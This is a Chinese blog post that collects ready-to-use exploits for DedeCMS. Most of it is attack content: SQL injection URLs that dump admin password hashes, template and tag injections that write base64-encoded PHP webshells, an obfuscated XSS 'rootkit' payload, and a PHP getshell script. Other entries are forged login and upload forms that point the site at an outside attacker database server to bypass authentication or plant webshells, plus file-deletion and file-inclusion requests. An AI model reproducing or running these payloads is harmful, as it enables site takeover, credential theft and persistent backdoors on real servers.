dedecms 漏洞汇总

迷南。 2022-06-13 21:11 1347阅读 0赞

**Dedecms 5.6 rss注入漏洞**

http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2)) AND "'" AND updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1)#'][0]=1

**DedeCms v5.6 嵌入恶意代码执行漏洞**

注册会员，上传软件：本地地址中填入

a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}

发表后查看或修改即可执行

a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}

生成x.php 密码xiao，直接生成一句话。

**Dede 5.6 GBK SQL注入漏洞**

http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7''; 
    http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe''")/> 
    http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7''"><******%20src=http://www.test.com/

**DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞**

http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20'%23@__admin'

**DEDECMS 全版本 gotopage变量XSS漏洞**

1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。

http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。

http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
    http://v57.demo.dedecms.com/dede/login.php

**DeDeCMS(织梦)变量覆盖getshell**

#!usr/bin/php -w
    <?php
    error_reporting(E_ERROR);
    set_time_limit(0);
    print_r('
    DEDEcms Variable Coverage
    Exploit Author: [url]www.heixiaozi.com[/url] [url]www.webvul.com[/url]
    );
    echo "\r\n";
    if($argv[2]==null){
    print_r('
    +---------------------------------------------------------------------------+
    Usage: php '.$argv[0].' url aid path
    aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
    Example:
    php '.$argv[0].' [url]www.site.com[/url] 1 old
    +---------------------------------------------------------------------------+
    ');
    exit;
    }
    $url=$argv[1];
    $aid=$argv[2];
    $path=$argv[3];
    $exp=Getshell($url,$aid,$path);
    if (strpos($exp,"OK")>12){
    echo "[*] Exploit Success \n";
    if($aid==1)echo "[*] Shell:".$url."/$path/data/cache/fuck.php\n" ;
    
    if($aid==2)echo "[*] Shell:".$url."/$path/fuck.php\n" ;
    
    if($aid==3)echo "[*] Shell:".$url."/$path/plus/fuck.php\n";
    
    }else{
    echo "[*] Exploit Failed \n";
    }
    function Getshell($url,$aid,$path){
    $id=$aid;
    $host=$url;
    $port="80";
    $content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
    $data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
    $data .= "Host: ".$host."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
    //$data .= "Accept-Encoding: gzip,deflate\r\n";
    $data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
    $data .= "Connection: keep-alive\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($host,$port);
    if (!$ock) {
    echo "[*]  No response from ".$host."\n";
    }
    fwrite($ock,$data);
    while (!feof($ock)) {
    $exp=fgets($ock, 1024);
    return $exp;
    }
    }
    
    ?>

**织梦(DedeCms) v5.6-5.7 越权访问漏洞(直接进入后台)**

http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

把上面 **validate=dcug**改为当前的验证码，即可直接进入网站后台。此漏洞的前提是必须得到后台路径才能实现。

**dedecms织梦 标签远程文件写入漏洞**

前题条件，必须准备好自己的dede数据库，然后插入数据：

insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。

<form action="" method="post" name="QuickSearch" id="QuickSearch" οnsubmit="addaction();">
    <input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
    <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
    <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
    <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
    <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
    <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
    <input type="text" value="true" name="nocache" style="width:400">
    <input type="submit" value="提交" name="QuickSearchBtn"><br />
    </form>
    <script>
    function addaction()
    {
    document.QuickSearch.action=document.QuickSearch.doaction.value;
    }
    </script>

**DedeCms v5.6 嵌入恶意代码执行漏洞**

注册会员，上传软件：本地地址中填入

a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}

发表后查看或修改即可执行

a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}

生成x.php 密码：xiao直接生成一句话，密码xiao 。

**Dedecms <= V5.6 Final模板执行漏洞**

1、上传一个模板文件：  
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：

uploads/userup/2/12OMX04-15A.jpg

模板内容是（如果限制图片格式，加gif89a）：

{dede:name runphp='yes'}
    $fp = @fopen("1.php", 'a');
    @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
    @fclose($fp);
    {/dede:name}

2、修改刚刚发表的文章，查看源文件，构造一个表单：

<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" οnsubmit="return checkSubmit();">
    <input type="hidden" name="dopost" value="save" />
    <input type="hidden" name="aid" value="2" />
    <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
    <input type="hidden" name="channelid" value="1" />
    <input type="hidden" name="oldlitpic" value="" />
    <input type="hidden" name="sortrank" value="1275972263" />
    
    <div id="mainCp">
    <h3 class="meTitle"><strong>修改文章</strong></h3>
    <div class="postForm">
    <label>标题：</label>
    <input  name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
    <label>标签TAG：</label>
    <input name="tags" type="text" id="tags"  value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
    <label>作者：</label>
    <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
    <label>隶属栏目：</label>
    <select name='typeid' size='1'>
    <option value='1' class='option3' selected=''>测试栏目</option>
    </select>            
    <span style="color:#F00">*</span>(不能选择带颜色的分类)
    
    <label>我的分类：</label>
    <select name='mtypesid' size='1'>
    <option value='0' selected>请选择分类...</option>
    <option value='1' class='option3' selected>hahahha</option>
    </select>
    
    <label>信息摘要：</label>
    <textarea name="description" id="description">1111111</textarea>
    (内容的简要说明)
    
    <label>缩略图：</label>
    <input name="litpic" type="file" id="litpic" οnchange="SeePicNew('divpicview',this);"  maxlength="100" class="intxt"/>
    
    <input type='text' name='templet'
    value="../ uploads/userup/2/12OMX04-15A.jpg">
    <input type='text' name='dede_addonfields'
    value="templet,htmltext;">（这里构造）
    </div>
    
    
    <h3 class="meTitle">详细内容</h3>
    
    <div class="contentShow postForm">
    <input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
    
    <label>验证码：</label>
    <input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
    <img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" οnclick="this.src=this.src+'?'" />
    
    <button class="button2" type="submit">提交</button>
    <button class="button2 ml10" type="reset" οnclick="location.reload();">重置</button>
    </div>
    
    </div>
    
    </form>

提交，提示修改成功，则我们已经成功修改模板路径。  
3、访问修改的文章：  
假设刚刚修改的文章的aid为2，则我们只需要访问：

http://127.0.0.1/dede/plus/view.php?aid=2

即可以在plus目录下生成webshell：1.php

**DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)**

Gif89a
    {dede:field name='toby57' runphp='yes'}
    phpinfo();
    {/dede:field}

保存为1.gif

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif  
发表文章，然后构造修改表单如下：

<form  action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">  
    <input type="hidden" name="dopost" value="save" />  
    <input type="hidden" name="aid" value="2" />  
    <input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />  
    <input type="hidden" name="channelid" value="1" />  
    <input type="hidden" name="oldlitpic" value="" />  
    <input type="hidden" name="sortrank" value="1282049150" />     
    <input  name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>  
    <input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>  
    <select name='typeid' size='1'>  
    <option value='1' class='option3' selected=''>Test</option>  
    <select name='mtypesid' size='1'>  
    <option value='0' selected>请选择分类...</option>  
    <option value='1' class='option3' selected>aa</option></select>   
    <textarea name="description" id="description">aaaaaaaaaaaaa</textarea>  
    <input type='hidden' name='dede_addonfields' value="templet">  
    <input type='hidden' name='templet' value="../uploads/userup/3/1.gif">  
    <input type="hidden" id="body" name="body" value="aaaa" style="display:none" />  
    <button class="button2" type="submit">提交</button>  
    </form>

**织梦(Dedecms)V5.6 远程文件删除漏洞**

http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

**织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞**

http://www.test.com/plus/carbuyaction.php?dopost=return&code=../../

**DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞**

plus/advancedsearch.php?mid=1&sql=SELECT * FROM '#@__admin'

密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

**dedecms织梦 v5.6 两处跨站漏洞**

/plus/search.php?keyword=zhuba&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=%3Ciframe%20src=http://www.test.net%3E&PageNo=2
    
    http://www.test.com/member/login.php?gourl=%22%3E%3Ciframe%20src=http://www.test.net%3E

**织梦(Dedecms) 5.1 feedback\_js.php 注入漏洞**

http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

**织梦(Dedecms)select\_soft\_post.php页面变量未初始漏洞**

<html>
    <head>
    <title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
    </head>
    <body style="FONT-SIZE: 9pt">
    ---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
    <form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
    <input type='hidden' name='activepath' value='/data/cache/' />
    <input type='hidden' name='cfg_basedir' value='../../' />
    <input type='hidden' name='cfg_imgtype' value='php' />
    <input type='hidden' name='cfg_not_allowall' value='txt' />
    <input type='hidden' name='cfg_softtype' value='php' />
    <input type='hidden' name='cfg_mediatype' value='php' />
    <input type='hidden' name='f' value='form1.enclosure' />
    <input type='hidden' name='job' value='upload' />
    <input type='hidden' name='newname' value='fly.php' />
    Select U Shell <input type='file' name='uploadfile' size='25' />
    <input type='submit' name='sb1' value='确定' />
    </form>
    <br />It's just a exp for the bug of Dedecms V55...<br />
    Need register_globals = on...<br />
    Fun the game,get a webshell at /data/cache/fly.php...<br />
    </body>
    </html>

**织梦(DEDECMS) 5.1 plus/feedback\_js.php存在注入漏洞**

为了闭合我用了两次union

**DedeCMS 5.1 SQL Injection**

######################### Securitylab.ir ########################
    # Application Info:
    # Name: DEDECMS
    # Version: 5.1
    #################################################################
    # Discoverd By: Securitylab.ir 
    # Website: http://securitylab.ir
    # Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
    #################################################################
    # Vulnerability Info:
    # Type: Sql Injection Vulnerability
    # Risk: Medium
    #===========================================================
    # feedback_js.php
    $urlindex = 0;
    if(empty($arcID))
    {
    $row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
    if(is_array($row)) $urlindex = $row['id'];
    }
    if(empty($arcID) && empty($urlindex)) exit();
    ......
    if(empty($arcID)) $wq = " urlindex = '$urlindex' "; 
    else $wq = " aid='$arcID' ";
    $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
    $dlist->Init();
    $dlist->SetSource($querystring);
    ...
    # http://site.com/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=
    #===========================================================
    #################################################################
    # Securitylab Security Research Team
    ###################################################################

**织梦(dedecms)V5.5分页处理函数信息泄露漏洞**

http://www.dedecms.com/plus/list.php?tid=10&pageno=0
    http://www.dedecms.com/plus/list.php?tid=10&pageno='
    http://www.dedecms.com/plus/list.php?tid=10&pageno=-1

**织梦(dedecms)5.3 – 5.5 plus/digg\_frame.php 注入漏洞**

利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。

1. 访问网址：

http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>

可看见错误信息

2. 访问 http://www.abc.com/data/mysql\_error\_trace.php 看到以下信息证明注入成功了。

int(3) Error: Illegal double '1024e1024' value found during parsing
    Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

按确定后的看到第2步骤的信息表示文件木马上传成功.

**织梦(DedeCms)plus/infosearch.php 文件注入漏洞**

http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

**DEDECMS跨站及爆绝对路径漏洞**

提交：

http://127.0.0.1/dc/include/jump.php?gurl=http://00day.cn 会跳转到http://00day.cn

新手朋友会认为这就是这个跨站的利用了，其实不然，我们可以尝试去闭合他！但PHP有gpc限制，我们该怎么绕？

提交：

http://127.0.0.1/dc/include/jump.php?gurl=%23"</script><script>alert(/00day.cn/)</script>/*

**Multiple Cross-Site Scripting Vulnerabilities in DedeCms v5.x**

# .: Multiple Cross-Site Scripting Vulnerabilities in DedeCms v5.x
    # .: [Author] Depo2 - TpTLabs.com
    # .: [Affected versions] http://www.dedecms.com/ - DedeCms v5.x
    # .: [Credit] The disclosure of these issues has been credited to Depo2
    # .: [Classification]
    # Attack Type: Input Manipulation
    # Impact: Loss of Integrity
    # Fix: N/A Public release vulnz: {26-08-2008 Sun}
    # Class Input Validation Error
    # Original Advisory http://depo2.nm.ru/DedeCmsv5.x_XSS.txt
    # Other Advisory http://www.xssing.com/index.php?x=3&y=53
    - XSS -
    [DedeCms WebSite]/dede/catalog_tree.php?f=form1&opall=1&v=typeid&bt=[XSS]
    [DedeCms WebSite]/dede/catalog_tree.php?f=form1&opall=1&v=[XSS]
    [DedeCms WebSite]/dede/catalog_tree.php?f=[XSS]
    [DedeCms WebSite]/dede/content_list.php?arcrank=[XSS]
    [DedeCms WebSite]/dede/content_list.php?dopost=listArchives&nowpage=1&totalresult=0&arcrank=[XSS]&cid=[XSS/SQL]&keyword=[XSS]+&orderby=[XSS/SQL]&imageField=%CB%D1%CB%F7
    [DedeCms WebSite]/dede/content_list.php?channelid=[XSS]&cid=0&adminid=[XSS]
    [DedeCms WebSite]/include/dialog/select_images.php?f=form1.picname&imgstick=[XSS]
    [DedeCms WebSite]/include/dialog/select_images.php?f=[XSS]
    [DedeCms WebSite]/dede/login.php?gotopage=[XSS]
    [DedeCms WebSite]/dede/article_keywords_select.php?f=[XSS]
    [DedeCms WebSite]/dede/file_pic_view.php?activepath=[XSS]
    [DedeCms WebSite]/member/login.php?gourl=[XSS]
    [DedeCms WebSite]/dede/pic_view.php?activepath=[XSS]

**Php Path Discusion**

[DedeCms WebSite]/include/dialog/

**XSRF**

[DedeCms WebSite]/dede/sys_info.php? have XSRF
    edit___cfg_beian,edit___cfg_keywords etc.. parameter not checking evil code
    if attacker wright a "end of textarea" </textarea> tag thats give XSS alert :)
    
    [XSS Code] :</script>'"><script>alert(document.cookie)</script>

**织梦(dedecms)2007 group/search.php注入漏洞**

http://127.0.0.1/dg/group/search.php?sad=g&keyword=%cf'